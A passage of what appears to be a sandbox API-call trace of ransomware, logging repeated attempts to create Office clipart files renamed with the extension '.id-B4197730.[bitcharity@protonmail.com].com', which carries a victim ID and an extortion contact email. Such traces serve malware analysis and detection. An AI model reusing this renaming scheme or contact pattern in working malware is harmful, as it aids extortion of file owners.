liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.844] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341654.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341654.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.844] CloseHandle (hObject=0x127c) returned 1 [0255.845] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.845] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341738.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341738.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.847] CloseHandle (hObject=0x127c) returned 1 [0255.847] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.847] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341742.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341742.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.848] CloseHandle (hObject=0x127c) returned 1 [0255.848] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.848] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382836.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382836.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.849] CloseHandle (hObject=0x127c) returned 1 [0255.849] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.849] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0255.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382925.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382925.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.849] CloseHandle (hObject=0x127c) returned 1 [0256.135] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.136] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382926.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382926.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.136] CloseHandle (hObject=0x118c) returned 1 [0256.138] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.138] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400003.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400003.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.138] CloseHandle (hObject=0x118c) returned 1 [0256.140] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.140] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400004.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400004.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.140] CloseHandle (hObject=0x118c) returned 1 [0256.141] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.141] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400005.PNG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400005.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.141] CloseHandle (hObject=0x118c) returned 1 [0256.143] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.143] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00021_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\mp00021_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.144] CloseHandle (hObject=0x118c) returned 1 [0256.145] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.145] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00132_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\mp00132_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.147] CloseHandle (hObject=0x118c) returned 1 [0256.151] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.152] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00646_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\mp00646_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.153] CloseHandle (hObject=0x118c) returned 1 [0256.156] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.156] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00042_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00042_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.156] CloseHandle (hObject=0x118c) returned 1 [0256.159] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.159] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00057_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00057_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.160] CloseHandle (hObject=0x118c) returned 1 [0256.161] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.161] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00058_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00058_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.161] CloseHandle (hObject=0x118c) returned 1 [0256.163] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.164] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00068_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00068_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.164] CloseHandle (hObject=0x118c) returned 1 [0256.170] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.170] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00238_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00238_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.171] CloseHandle (hObject=0x118c) returned 1 [0256.173] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.173] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00330_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00330_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.174] CloseHandle (hObject=0x118c) returned 1 [0256.177] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.177] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00388_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00388_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.177] CloseHandle (hObject=0x118c) returned 1 [0256.990] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.990] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00784_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00784_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.991] CloseHandle (hObject=0x1234) returned 1 [0256.993] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.993] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01680_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01680_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.993] CloseHandle (hObject=0x1234) returned 1 [0256.994] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.994] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01682_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01682_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.995] CloseHandle (hObject=0x1234) returned 1 [0256.997] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.997] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0256.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01701_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01701_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.998] CloseHandle (hObject=0x1234) returned 1 [0257.000] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.000] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01848_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01848_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.000] CloseHandle (hObject=0x1234) returned 1 [0257.002] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.002] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01849_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01849_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.002] CloseHandle (hObject=0x1234) returned 1 [0257.004] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.004] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01852_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01852_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.005] CloseHandle (hObject=0x1234) returned 1 [0257.006] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.006] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01858_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01858_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.007] CloseHandle (hObject=0x1234) returned 1 [0257.008] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.008] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01866_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01866_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.009] CloseHandle (hObject=0x1234) returned 1 [0257.013] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.014] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02009_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02009_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.014] CloseHandle (hObject=0x1234) returned 1 [0257.016] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.017] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02041_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02041_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.017] CloseHandle (hObject=0x1234) returned 1 [0257.019] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.019] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02066_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02066_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.019] CloseHandle (hObject=0x1234) returned 1 [0257.021] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.021] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02091_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02091_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.021] CloseHandle (hObject=0x1234) returned 1 [0257.022] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0257.022] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, 